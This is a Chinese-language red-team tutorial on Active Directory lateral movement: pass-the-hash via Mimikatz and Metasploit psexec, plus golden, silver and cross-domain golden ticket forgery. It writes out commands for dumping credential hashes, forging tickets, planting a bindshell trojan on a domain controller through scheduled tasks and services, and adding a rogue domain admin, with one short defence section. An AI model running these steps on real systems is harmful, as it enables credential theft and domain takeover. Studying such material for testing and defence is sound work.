使用Mimikatz进行PTH
Pass The Hash 哈希传递攻击简称 PTH,该方法通过找到与账户相关的密码散列(NTLLHash)来进 行攻击。由于在Windows系统中,通常会使用NTLM Hash对访问资源的用户进行身份认证,所以该攻 击可以在不需要明文密码的情况下,利用LM HASH或者NTLM HASH直接远程登录目标主机乃至反弹 shell。
在域环境中,用户登录计算机时一般使用域账号,大量计算机在安装时会使用相同的本地管理员账号和 密码,因此,如果计算机的本地管理员账号和密码也相同,攻击者就能使用哈希传递攻击的方法来登录 内网中的其他主机。使用该方法,攻击者不需要花费时间来对Hash进行爆破,在内网渗透里非常经典。 常常适用于域/工作组环境。
下面演示哈希传递攻击的方法(需要管理员权限):
假设已经获得域环境中某个主机的权限,并且拥有本地administrator的权限(被域管设置了同一密 码)。
- 攻击者在跳板机上面以管理员权限登录
- 上传mimikatz
- 用管理员权限运行mimikatz
- mimikatz抓取Hash:
- 抓取到本地administrator管理员的NTLM Hash(和域管是通用的): 4d6e43b2cdc951808100f5b1d09aac63
privilege::debug
sekurlsa::logonpasswords
然后,在跳板机上用mimikatz将获取的Administrator的Hash添加进lsass.exe的内存数据中:
privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup
/ntlm:4d6e43b2cdc951808100f5b1d09aac63
成功,此时会自动弹出一个新的shell,这时访问远程主机或服务,就不用提供明文密码了,如下,我们 列出了域控制器OWA的c盘目录:
我们还能将msf木马copy到域控上并设置计划任务或创建服务来执行:
copy bindshell.exe \\dc\c$
// 将msf木马bindshell.exe复制到目标机器上
dir \\dc\c$
schtasks /create /tn "shell" /tr C:\bindshell.exe /sc MINUTE /s
192.168.52.138
// 在域控上创建shell计划任务,开机时启动c盘下bindshell.exe
schtasks /run /s 192.168.52.138 /i /tn "shell"
// 在域控上立即启动该计划任务
sc \\OWA create bindshell binpath= "c:\bindshell.exe"
// 在域控上创建服务启动木马
sc \\OWA start bindshell
// 在域控上立即启动该服务
注意,哈希传递攻击要注意一下几点:
- dir命令后面要使用主机名,不能用IP,否则报错
- 使用mimikatz进行哈希传递要具有本地管理员权限
使用Metasploit进行PTH
经常使用的三个模块
auxiliary/admin/smb/psexec_command // 在目标机器上执行系统命令
exploit/windows/smb/psexec // 用psexec执行系统命令
exploit/windows/smb/psexec_psh // 使用powershell作为payload
以exploit/windows/smb/psexec模块哈希传递攻击目标机器为例(设置smbuser、smbpass、 smbdomain)
可以看到,该模块默认使用也仅能使用windows/meterpreter/reverse_tcp作为payload,其为反向的 shell,这也就决定了,我们进行哈希传递攻击的目标主机(Windows Server 2003)必须能上网。
1.然后配置攻击目标的参数和反连监听器的相关参数
use exploit/windows/smb/psexec
set rhosts xxx.xxx.xx.xxx
set smbuser administrator
set smbpass 00000000000000000000000000000000:087d76d41555a62696377153d9b85011
# 完整的Administrator用户的Hash
set smbdomain gxa
set lport 12555
run
如上图,攻击成功,得到Windows Server 2003的shell。注意这里的smbpass选项,其可以为明文密 码,也可以为Hash,但Hash必须是完整的,如果不知道前面的LM Hash部分,可以像上面那样用0代 替。
如果msf攻击机已经拿到一个跳板机的meterpreter,且无法直接与域控通信,如何进行PTH?
1.不要忘了设置通向内网的路由
run autoroute——》use post/multi/manage/autoroute
show options
set session n
set subnet x.x.x.x
票据传递(PTT)
KDC中分为两个部分:Authentication Service(AS,身份验证服务)和Ticket Granting Service(TGS,票据授 权服务)
AD会维护一个Account Database(账户数据库). 它存储了域中所有用户的密码Hash和白名单。只有账户 密码都在白名单中的Client才能申请到TGT。
Kerberos认证的大概流程
当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,验证通过后AS会发放的一个 TGT,随后Client再次向TGS证明自己的身份,验证通过后TGS会发放一个ST,最后Client向 Server 发起认证 请求,这个过程分为三块:
Client 与 AS 的交互,
Client 与 TGS 的交互,
Client 与 Server 的交互。
黄金票据是伪造TGT,白银票据则是伪造ST
这里介绍域内常用的两种攻击方式:黄金票据Golden ticket、白银票据SILVER TICKET
金票Golden ticket#
原理#
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个 Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的, 所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的 交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
黄金票据特点
- 域控制器中的KDC服务不验证TGT中的用户帐户,直到TGT超过20分钟,这意味着攻击者可以使用 禁用和删除的帐户,甚至是在Active Directory中不存在的虚拟帐户。
- 由于在域控制器上由KDC服务生成的域设置了Kerberos策略,如果提供票据,则系统信任票据的有 效性。这意味着,即使域策略声明Kerberos登录票据(TGT)只有10小时有效,如果票据声明有效 期为10 年,那么也会信任票据的有效性期为10年。
- 该KRBTGT帐户密码从不更改*和直到KRBTGT密码被更改(两次),攻击者可以创建黄金票据。请 注意,即使伪造用户更改其密码,创建用于模拟用户的Golden Ticket仍然存在。
- 它绕过了SmartCard身份验证要求,因为它绕过了DC在创建TGT之前执行的常规验证。
- .这个精心创建的TGT要求攻击者拥有Active Directory域的KRBTGT密码哈希值(通常从域控制器转 储)。
- KRBTGT NTLM哈希可用于生成一个有效的TGT(使用RC4)模拟任何用户访问Active Directory中 的任何资源。
- 在主机上都可以生成和使用黄金票据(TGT),即使没有加入域也是如此。只要网络可以访问域。
- 用于从AD森林中的DC获取有效的TGS票据,并提供一个坚持在一切域访问所有的主机的好办法。
伪造金票的场景和所需条件#
黄金票据的利用常用于权限维持阶段。假设这么一种情况,我们已拿到的域内所有的账户Hash,包括 krbtgt账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域 内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的 HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成 员,可用于Kerberos认证的任何服务。
所需条件
1、域名称
2、域的SID值
3、域的KRBTGT账号的HASH
4、伪造任意用户名
(获取域的SID和KRBTGT账号的NTLM HASH的前提是需要已经拿到了域的权限)
利用方式#
先前利用mimikatz拿到了域管理权限时获取的域的SID和KRBTGT账号的NTLM HASH
privilege::debug
lsadump::lsa /patch
在普通域用户中使用mimikatz生成黄金票据.kirbi文件并保存:
kerberos::golden /user:administrator /domain:hacke.testlab /sid:S-1-5-21-
954094320-202977030-1482179831 /krbtgt:ac923e1d7f56e0adf967356b8d41953e
/ticket:ticket.kirbi
/user:需要伪造的域管理员用户
/domain:域名称
/sid:SID值,(这里要是使用系统命令的话抓到是这样的SID,最后面的值代表着这个账号的SID值,注 意是去掉最后一个-后面的值!)
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称
第二步用mimikatz清除票据
kerberos::purge \\清除票据
kerberos::tgt \\查看票据
第三步用mimikatz导入票据
kerberos::ptt ticket.kirbi
成功访问dc
此时尝试创建一个的域管账号,命令执行成功:
net user aaa !@#qwe123 /add /domain
net user /domain
net group "domain admins" aaa /add /domain
黄金票据防御
限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机(不要让其他管理员登录 到这些服务器)将所有其他权限委派给自定义管理员组。这大大降低了攻击者访问域控制器的 Active Directory的ntds.dit。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到 KRBTGT帐户密码。
禁用KRBTGT帐户,并保存当前的密码以及以前的密码。KRBTGT密码哈希用于在Kerberos票据上 签署PAC并对TGT(身份验证票据)进行加密。如果使用不同的密钥(密码)对证书进行签名和加 密,则DC(KDC)通过检查KRBTGT以前的密码来验证。
银票SILVER TICKET#
原理#
白银票据就是伪造的ST。在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接 收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。
所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分 服务起作用。
白银票据的特点
- 白银票据是一个有效的票据授予服务(TGS)Kerberos票据,因为Kerberos验证服务运行的每台 服务器都对服务主体名称的服务帐户进行加密和签名。
- 黄金票据是伪造TGT并且有效的获得任何Kerberos服务,而白银票据是伪造TGS。这意味着白银票 据仅限于特定服务器上的任何服务。
- 大多数服务不验证PAC(通过将PAC校验和发送到域控制器进行PAC验证),因此使用服务帐户密 码哈希生成的有效TGS可以完全伪造PAC
- 攻击者需要服务帐户密码哈希值
- TGS是伪造的,所以没有和TGT通信,意味着DC从验证过。
- 任何事件日志都在目标服务器上。
伪造银票所需条件#
- 域名
- 域sid
- 目标服务器名
- 可利用的服务
- 服务账号的NTML HASH
- 需要伪造的用户名
在域控中使用mimikatz获取相关信息
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
回到域内低权限的账号
先使用mimikatz清空票据,再导入伪造的票据,具体伪造票据的命令:
kerberos::golden /domain:hacke.testlab /sid:S-1-5-21-954094320-202977030-
1482179831 /target:DC.hacke.testlab /service:cifs
/rc4:2c7f354c971b062e1e42f12a30709a7f /user:aaa /ptt
kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:cifs /rc4:服务账号 NTMLHASH /user:用户名 /ptt
其中的用户名可以随便写
服务类型可以从以下内容中来进行选择,因为没有TGT去不断申请ticket,所以只能针对某一些服务来进 行伪造
测试一下,成功执行 dir \\dc\c$ ,并且可以创建域管账号,复制文件等:
金票和银票的区别#
获取的权限不同#
金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS
认证流程不同#
金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server
加密方式不同#
金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密
EnhancedGolden Tickets
在Golden Ticket部分说明可利用krbtgt的密码HASH值生成金票,从而能够获取域控权限同时能够访问域 内其他主机的任何服务。但是普通的金票不能够跨域使用,也就是说金票的权限被限制在当前域内。
域树与域林
在下图中 UKNOWSEC.CN 为其他两个域的根域,NEWS.UKNOWSEC.CN和 DEV.UKNOWSEC.CN 均为 UKNOWSEC.CN的子域,这三个域组成了一个域树。子域的概念可以理解为一个集团在不同业务上分公 司,他们有业务重合的点并且都属于 UKNOWSEC.CN这个根域,但又独立运作。同样 TEST.COM 也是 一个单独的域树,两个域树 UKONWSE.CN 和 TEST.CN 组合起来被称为一个域林。
普通金票的局限性
在上图中说到UKNOWSEC.CN为其他两个域(NEWS.UKNOWSEC.CN和DEV.UKNOWSEC.CN)的根域, 根域和其他域的最大的区别就是根域对整个域林都有控制权。而域正是根据Enterprise Admins组来实现 这样的权限划分。
Enterprise Admins组
EnterpriseAdmins组是域中用户的一个组,只存在于一个林中的根域中,这个组的成员,这里也就是 UKNOWSEC.CN中的Administrator用户(不是本地的Administrator,是域中的Administrator)对域有 完全管理控制权。
UKNOWSEC.CN的域控上Enterprise Admins组的RID为519.
Domain Admins组
子域中是不存在EnterpriseAdmins组的,在一个子域中权限最高的组就是Domain Admins组。 NEWS.UKNOWSEC.CN这个子域中的Administrator用户,这个Administrator有当前域的最高权限。
突破限制
普通的黄金票据被限制在当前域内,在2015年Black Hat USA中国外的研究者提出了突破域限制的增强版 的黄金票据。通过域内主机在迁移时LDAP库中的SIDHistory属性中保存的上一个域的SID值制作可以跨 域的金票。
如果知道根域的SID那么就可以通过子域的KRBTGT的HASH值,使用mimikatz创建具有 EnterpriseAdmins组权限(域林中的最高权限)的票据。
然后通过mimikatz重新生成包含根域SID的新的金票
kerberos::golden /admin:administrator /domain:news.uknowsec.cn /sid:XXX
/sids:XXX /krbtgt:XXX /startoffset:0 /endin:600 /renewmax:10080 /ptt
Startoffset和endin分别代表偏移量和长度,renewmax表示生成的票据的最长时间。
注意这里是不知道根域UKONWSEC.CN的krbtgt的密码HASH的,使用的是子域NEWS.UKNOWSEC.CN 中的KRBTGT的密码HASH。
然后就可以通过dir访问DC. UKNOWSEC的共享文件夹,此时的这个票据票是拥有整个域林的控制权的。